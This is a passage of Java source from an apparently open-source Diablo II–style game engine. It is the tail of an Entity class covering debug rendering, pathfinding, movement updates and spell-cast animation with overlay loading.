if (DEBUG_STATUS) drawDebugStatus(batch, shapes);
if (DEBUG_TARGET) drawDebugTarget(shapes);
}
public void drawDebugSize(ShapeRenderer shapes) {
if (size < 1) return;
shapes.set(ShapeRenderer.ShapeType.Filled);
shapes.setColor(Color.GRAY);
int[][] SIZE = SIZES[size - 1];
for (int[] subtile : SIZE) {
EngineUtils.worldToScreenCoords(position.x + subtile[0], position.y + subtile[1], tmpVec2);
DebugUtils.drawDiamond(shapes, tmpVec2.x, tmpVec2.y, Tile.SUBTILE_WIDTH, Tile.SUBTILE_HEIGHT);
}
shapes.set(ShapeRenderer.ShapeType.Line);
}
public void drawDebugStatus(PaletteIndexedBatch batch, ShapeRenderer shapes) {
float x = screen.x;
float y = screen.y;
if (animation != null && isSelectable()) animation.drawDebug(shapes, x, y);
shapes.setColor(Color.WHITE);
DebugUtils.drawDiamond(shapes, x, y, Tile.SUBTILE_WIDTH, Tile.SUBTILE_HEIGHT);
//shapes.ellipse(x - Tile.SUBTILE_WIDTH50, y - Tile.SUBTILE_HEIGHT50, Tile.SUBTILE_WIDTH, Tile.SUBTILE_HEIGHT);
final float R = 32;
shapes.setColor(Color.RED);
shapes.line(x, y, x + MathUtils.cos(angle) * R, y + MathUtils.sin(angle) * R);
if (animation != null) {
int numDirs = animation.getNumDirections();
float rounded = Direction.snapToDirection(angle, numDirs);
shapes.setColor(Color.GREEN);
shapes.line(x, y, x + MathUtils.cos(rounded) * R * 0.5f, y + MathUtils.sin(rounded) * R * 0.5f);
}
shapes.end();
batch.begin();
batch.setShader(null);
StringBuilder builder = new StringBuilder(64)
.append(classname).append('\n')
.append(token).append(' ').append(type.MODE[mode]).append(' ').append(WCLASS[wclass]).append('\n');
if (animation != null) {
builder
.append(StringUtils.leftPad(Integer.toString(animation.getFrame()), 2))
.append('/')
.append(StringUtils.leftPad(Integer.toString(animation.getNumFramesPerDir() - 1), 2))
.append(' ')
.append(animation.getFrameDelta())
.append('\n');
}
appendToStatus(builder);
GlyphLayout layout = Riiablo.fonts.consolas12.draw(batch, builder.toString(), x, y - Tile.SUBTILE_HEIGHT50, 0, Align.center, false);
Pools.free(layout);
batch.end();
batch.setShader(Riiablo.shader);
shapes.begin(ShapeRenderer.ShapeType.Line);
}
protected void appendToStatus(StringBuilder builder) {}
public void drawDebugTarget(ShapeRenderer shapes) {
if (target.isZero() || !path.isEmpty()) return;
EngineUtils.worldToScreenCoords(target, tmpVec2);
shapes.set(ShapeRenderer.ShapeType.Filled);
shapes.setColor(Color.ORANGE);
shapes.rectLine(screen.x, screen.y, tmpVec2.x, tmpVec2.y, 1);
shapes.set(ShapeRenderer.ShapeType.Line);
}
public void drawDebugPath(PaletteIndexedBatch batch, ShapeRenderer shapes) {}
public Vector2 position() {
return position;
}
public Vector2 screen() {
return screen;
}
public boolean contains(Vector2 coords) {
if (animation == null) return false;
if (!isSelectable()) return false;
BBox box = animation.getBox();
float x = screen.x + box.xMin;
float y = screen.y - box.yMax;
return x <= coords.x && coords.x <= x + box.width
&& y <= coords.y && coords.y <= y + box.height;
}
public float angle() {
return angle;
}
public void angle(float rad) {
if (angle != rad) {
angle = rad;
updateDirection();
}
}
public void lookAt(Entity entity) {
lookAt(entity.screen.x, entity.screen.y);
}
public void lookAt(float x, float y) {
tmpVec2.set(x, y).sub(screen);
angle(MathUtils.atan2(tmpVec2.y, tmpVec2.x));
}
public int direction() {
int numDirs = animation.getNumDirections();
return Direction.radiansToDirection(angle, numDirs);
}
public float getInteractRange() {
return -1;
}
public boolean isSelectable() {
return false;
}
public String name() {
return name;
}
public void name(String name) {
this.name = name;
if (label instanceof Label) {
((Label) label).setText(name);
}
}
public Actor getLabel() {
return label;
}
public float getLabelOffset() {
return animation.getMinHeight();
}
public boolean isOver() {
return over;
}
public void setOver(boolean b) {
if (over != b) {
over = b;
if (animation != null) animation.setHighlighted(b);
}
}
public boolean sequence(byte transition, byte mode) {
boolean changed = this.mode != transition;
setMode(transition);
nextMode = mode;
return changed;
}
public Vector2 target() {
return target;
}
public GraphPath path() {
return path;
}
public Iterator<Point2> targets() {
return targets;
}
public boolean setPath(Map map, Vector2 dst) {
return setPath(map, dst, -1);
}
public boolean setPath(Map map, Vector2 dst, int maxSteps) {
if (dst == null) {
path.clear();
targets = Collections.emptyIterator();
target.set(position);
return false;
}
boolean success = map.findPath(position, dst, path);
if (!success) return false;
if (maxSteps != -1 && path.getCount() > maxSteps) {
path.clear();
targets = Collections.emptyIterator();
return false;
}
if (DEBUG_PATH) Gdx.app.debug(TAG, "path=" + path);
map.smoothPath(path);
targets = new Array.ArrayIterator<>(path.nodes);
targets.next(); // consume src position
if (targets.hasNext()) {
Point2 firstDst = targets.next();
target.set(firstDst.x, firstDst.y);
} else {
target.set(position);
}
//if (DEBUG_TARGET) Gdx.app.debug(TAG, "target=" + target);
return true;
}
public void setRunning(boolean b) {
if (running != b) {
running = b;
}
}
public void setWalkSpeed(float speed) {
if (walkSpeed != speed) {
walkSpeed = speed;
}
}
public void setRunSpeed(float speed) {
if (runSpeed != speed) {
runSpeed = speed;
}
}
public byte getNeutralMode() {
return 0;
}
public byte getWalkMode() {
return getNeutralMode();
}
public byte getRunMode() {
return getWalkMode();
}
public void update(float delta) {
if (animation != null && animation.isFinished() && nextMode >= 0) {
setMode(nextMode);
nextMode = -1;
}
if (target.isZero()) return;
if (position.epsilonEquals(target)) {
if (!targets.hasNext()) {
path.clear();
if (isMoving(mode)) setMode(getNeutralMode());
return;
}
}
setMode(running ? getRunMode() : getWalkMode());
float speed = (running ? walkSpeed + runSpeed : walkSpeed);
float distance = speed * delta;
float traveled = 0;
while (traveled < distance) {
float targetLen = position.dst(target);
float part = Math.min(distance - traveled, targetLen);
if (part == 0) break;
position.lerp(target, part / targetLen);
traveled += part;
if (part == targetLen) {
if (targets.hasNext()) {
Point2 next = targets.next();
target.set(next.x, next.y);
} else {
break;
}
}
}
}
public boolean isCasting(byte mode) {
return false;
}
public boolean isMoving(byte mode) {
return false;
}
public boolean isCastable(byte mode) {
return false;
}
public boolean cast(final int spell) {
if (spell < 0) return false;
if (!isCastable(mode)) return false;
setPath(null, null);
//if (mode == getNeutralMode()) return;
//animating = true;
final Skills.Entry skill = Riiablo.files.skills.get(spell);
byte tm = mode;
byte newMode = type.getMode(skill.anim);
// FIXME: NOTE: I'm think SQ (sequence) used by player spells are hard-coded and indicate
// something like cast + wait. It's possible this is used to block the player
// from using other spells, or somehow resetting the cooldown.
if (newMode == -1) newMode = type.getMode("SC");
boolean changed = sequence(newMode, getNeutralMode());
if (!changed) return false;
/*
updateCOF(); // FIXME: required because we need updated COF to bind to trigger -- should really be done on next frame
for (COF.Keyframe keyframe : COF.Keyframe.values()) {
int frame = animation.getCOF().getKeyframeFrame(keyframe);
System.out.println("keyframe[" + keyframe + "]=" + frame);
}
int frame = animation.getCOF().getKeyframeFrame(COF.Keyframe.ATTACK);
if (frame >= 0) {
animation.addAnimationListener(frame, new Animation.AnimationListener() {
@Override
public void onTrigger(Animation animation, int frame) {
System.out.println("onTrigger " + frame + " " + COF.Keyframe.ATTACK);
animation.removeAnimationListener(frame, this);
}
});
}
*/
System.out.println("cast " + type.MODE[tm] + "->" + type.MODE[mode]);
Riiablo.audio.play(skill.stsound, true);
if (!skill.castoverlay.isEmpty()) {
overlayEntry = Riiablo.files.Overlay.get(skill.castoverlay);
AssetDescriptor<DCC> descriptor = new AssetDescriptor<>("data\\global\\overlays\\" + overlayEntry.Filename + ".dcc", DCC.class);
Riiablo.assets.load(descriptor);
Riiablo.assets.finishLoadingAsset(descriptor);
DCC dcc = Riiablo.assets.get(descriptor);
overlay = Animation.builder()
.layer(dcc, overlayEntry.Trans == 3 ? BlendMode.LUMINOSITY : BlendMode.ID)
.build();
overlay.setMode(Animation.Mode.ONCE);
//overlay.setFrameDuration(1f / overlayEntry.AnimRate);
}
return true;
}
public void setSize(int size) {
if (this.size != size) {
this.size = size;
}
}
public int getSize() {
return size;
}
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.